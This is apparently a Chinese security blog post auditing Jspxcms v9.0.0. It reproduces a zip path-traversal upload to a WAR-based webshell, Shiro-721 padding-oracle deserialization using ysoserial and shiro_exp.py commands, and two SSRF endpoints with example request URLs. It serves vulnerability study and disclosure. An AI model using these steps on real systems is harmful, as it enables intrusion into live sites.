首页 > 其他分享 >Jspxcms v9.0.0代码审计

Jspxcms v9.0.0代码审计

时间:2024-07-04 16:45:13浏览次数:10  
标签:审计 zip jspxcms v9.0 Jspxcms jsp x00 上传 压缩包

复现了jspxcms v9.0.0的文件上传、SSRF、Shiro反序列化漏洞,记录了其中发生的问题及解决方法

环境搭建这部分就不讲了,主要在tomcat上部署会遇到一些问题,文中也会给出解决方法

任意文件上传

登录后台(账号admin 密码空)

在文件上传处,可以上传zip压缩包,且上传的压缩包会自动解压

抓包查看接口地址,为/cmscp/core/web_file_2/zip_upload.do

全局搜索定位到

com/jspxcms/core/web/back/WebFileUploadsController.java下的

zipUpload方法

跟进zipUpload方法:

调用了AntZipUtils.unzip方法

unzip方法传入一个zip压缩包zipFile和一个要解压缩到的目录destDir

通过zip.getEntries遍历zip压缩包里的每个文件,获取它们的名字,并用new File直接和destDir进行拼接,然后向该拼接的文件里写入内容,由于它没有对压缩包里的文件名做过滤,因此我们可以通过路径穿越,上传到webapps目录下

然而默认情况下压缩包里不能包含特殊符号’/’,因此这里用到py脚本:

运行py脚本得到的zip压缩包里的文件名即为”../../1.jsp”

打断点调试:

可以看到在webapps目录下生成了1.jsp文件,说明文件上传成功

然而直接去访问该文件,发现返回404

看到它在访问路径前加了/jsp

通过调试发现com/jspxcms/common/web/JspDispatcherFilter.java

设置了一条Filter,会对访问的 jsp 文件路径前加 /jsp,因此直接上传包含jsp的压缩包无法getshell

解决方法:

tomcat会自动将放在webapps目录下的WAR包解压并部署该应用程序。如果Tomcat正在运行,它会立即加载新部署的应用程序

而由于部署的是另一个应用程序,跟jspxcms项目是独立的,因此JspDispatcherFilter并不会过滤新部署的应用程序,因此我们可以上传zip里文件为war的压缩包

war包生成命令:

jar -cvf 1.war 1.jsp

将jsp文件打包成war

再压缩成zip文件

这里需要tomcat下运行项目才能复现

tomcat部署的时候报错

于是在IDEA中重新打包,发现也报错

查询原因,缺少了相关依赖,在pom.xml中添加:

再次打包得到的war文件放到tomcat的webapps下,运行tomcat会自动解压部署该应用程序

访问http://127.0.0.1:8080/jspxcms-9.0.0/cmscp/index.do

上传一个正常的ZIP,发现解压后的文件路径为:webapps/jspxcms-9.0.0/uploads/1

如果需要传到webapps目录下,需要路径穿越3级目录

修改py脚本:

将得到的test.zip文件上传,可以看到在webapps目录下上传了war文件,并且自动解压部署了应用程序

访问http://127.0.0.1:8080/1/1.jsp

Shiro反序列化

查看pom文件,发现使用了shiro框架,且版本为1.3.2

Shiro 并且版本小于 1.4.2,可以利用 Shiro-721

ysoserial 中 CommonsBeanutils1 的利用链需要 Commons-beanutils, Commons-collections 以及 Commons-logging

而这三个在jspxcms中都存在,但是版本不同

先直接尝试看看能否运行

java -jar ysoserial-all.jar CommonsBeanutils1 "calc.exe" > test.ser

在jspxcms项目中进行测试,发现弹窗了,说明该链可用

用shiro反序列化漏洞的利用工具(https://github.com/inspiringz/Shiro-721)进行测试

使用方法:

  1.登录网站(勾选自动登录),并从Cookie中获取合法的RememberMe

  2.使用Java反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial-all.jar CommonsBeanutils1 "calc.exe" > payload.class

  3.通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

python shiro_exp.py <url> <somecookie value> <payload>

这一步运行报错了:

RuntimeError: Could not decrypt byte 15 in bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') within maximum allotted retries (3)

解决:

找到paddingoracle.py源码,修改最大尝试次数:

再运行:跑了好几个小时得到cookie

  4.使用Evil Rememberme cookie 认证进行反序列化攻击

Cookie字段只保留rememberMe

ssrf-1

全局搜索关键字openConnection

发现有几处使用了 openConnection,经过追踪分析发现 UploadControllerAbstract#ueditorCatchImage() 方法下存在漏洞点

src参数是用户可控的,且没有进行过滤。控制参数 source[],即可实现资源请求操作,进而造成 SSRF 漏洞。

向上追踪,看看哪里调用了ueditorCatchImage

有两处调用了该方法

这里查看

src/main/java/com/jspxcms/core/web/back/UploadController.java

可以得知当传参action=catchimage时,就会调用ueditorCatchImage方法

该接口地址:/core/ueditor.do

传参action=catchimage&source[]=https://www.baidu.com

如果页面存在,会返回SUCCESS

http://localhost:8080/cmscp/core/ueditor.do?action=catchimage&source[]=http://127.0.0.1:8080

不存在会报错

dnslog:

http://localhost:8080/cmscp/core/ueditor.do?action=catchimage&source[]=http://jzm373.dnslog.cn

ssrf-2

全局搜索关键字HttpClient.execute

发现有几处使用了 ,经过追踪分析发现

CollectController#fetchUrl -> Collect#fetchHtml 方法下存在漏洞点

通过给fetchHtml方法传uri参数,并对uri进行httpclient连接

如果uri参数用户可控,即可造成ssrf漏洞

向上追踪

发现CollectController#fetchUrl 方法的uri参数可控

接口地址:/ext/collect/fetch_url.do

参数url

http://localhost:8080/cmscp/ext/collect/fetch_url.do?url=https://www.baidu.com

参考链接:

https://xz.aliyun.com/t/10891

https://www.cnblogs.com/yokan/p/16248509.html

标签:审计,zip,jspxcms,v9.0,Jspxcms,jsp,x00,上传,压缩包
From: https://www.cnblogs.com/KakeruJ/p/18284083

相关文章

  • 代码审计连载-工具介绍及简单思路
    相信很多刚入门的朋友来讲,php代码审计很陌生,很多网友喜欢直接扔seay等自动化工具,这方法也算是一种最快的一种审计方式。之前看w师傅的一篇文章,开始部分说了一段话”对于面向过程写法的程序来说,最快的审计方法可能时直接丢seay审计系统里,但对于基于mvc模式的程序来......
  • mysql审计日志-ProxySQL
    MySQL审计概述:出于对数据安全的考虑,很多公司要求对MySQL的操作进行审计,这就要求我们对所有MySQL的操作都进行记录,并且相关信息要齐全(账号,时间,语句等)。 1、general_log:这样虽然可以记录所有的操作日志,但很遗憾,缺少账号等必要信息,而且IO消耗非常大。2、init-connect:这个其实就......
  • Hackthebox bagel.dll 代码审计
    利用ilspy将bagel.dll打开关于此目录有可以说的内容目录解析最上方的bagel是组装名字(assemblename)bagel_server是命令空间(namespace)下一级分支是类如File,Base,Handler,Orders等(class)反序列化导致的命令执行漏洞代码审计思路 首先看主程序Bagel1.通过明显的英语翻......
  • java之sql注入代码审计
    java之sql注入代码审计前言其实找到漏洞原因很简单,主要想学习一下JDBCsql的过程JDBC简单介绍Java通过java.sql.DriverManager来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类,然后调用getConnection方法才能连接上数......
  • [强网杯 2019]Upload php反序列化代码审计
    进入页面发现有登录,随便注册一个用户登录试试。文件上传?传个试试,结果发现不论怎么上传都没用,还发现了cookie像是反序列化的东西。扫目录看看,发现源码。发现主要文件,做做审计吧。index.php<?phpnamespaceapp\web\controller;usethink\Controller;classIndexextend......
  • 如何使您的IT资产审计变得轻而易举?
    无论您在审核准备方面处于哪个阶段,强大的资产管理策略都至关重要。现在,不可否认的是最初的障碍——精确追踪每一台设备、软件许可证和外围设备可能会让人感到不知所措。然而,好消息是有简化流程可以帮助您将资产管理从一项令人望而却步的任务转变为高效的实践。  当您发现很......
  • Auditd审计工具
    什么是auditsyslog记录的信息有限,主要目的是软件调试,跟踪和打印软件的运行状态,而audit的目的则不同,它是linux安全体系的重要组成部分,是一种“被动”的防御体系。在内核里有内核审计模块,记录系统中的各种动作和事件,比如系统调用,文件修改,执行的程序,系统登入登出和记录所有系统中所......
  • 服务日志审计项目
    服务日志审计项目目的要求:实施后可以让运维和开发的所有执行的命令都有记录可查,杜绝内部人员操作隐患)(缺陷:单机、本地服务器上应用配置sudo命令日志审计,并不记录普通用户的普通操作,而是记录,那些执行sudo命令的用户的操作。sudo配合syslog服务,进行日志审计。安装sudo命令和sy......
  • 充分发挥 EFSDUMP 的强大功能,使用教程 更加高效地进行加密文件系统的管理和审计。请根
    EFSDUMP的基本用法大纲:1.查看帮助信息bashCopyCodeefsdump--help这个命令将显示EFSDUMP的帮助信息,包括可用选项和参数的说明。2.提取加密文件信息bashCopyCodeefsdump<file_path>通过指定要提取信息的加密文件路径,可以使用EFSDUMP命令来获取该文件的加密属性、......
  • buu 代码审计
    代码审计[HCTF2018]WarmUp查看源码访问source.php<?phphighlight_file(__FILE__);classemmm{publicstaticfunctioncheckFile(&$page){$whitelist=["source"=>"source.php","hint"......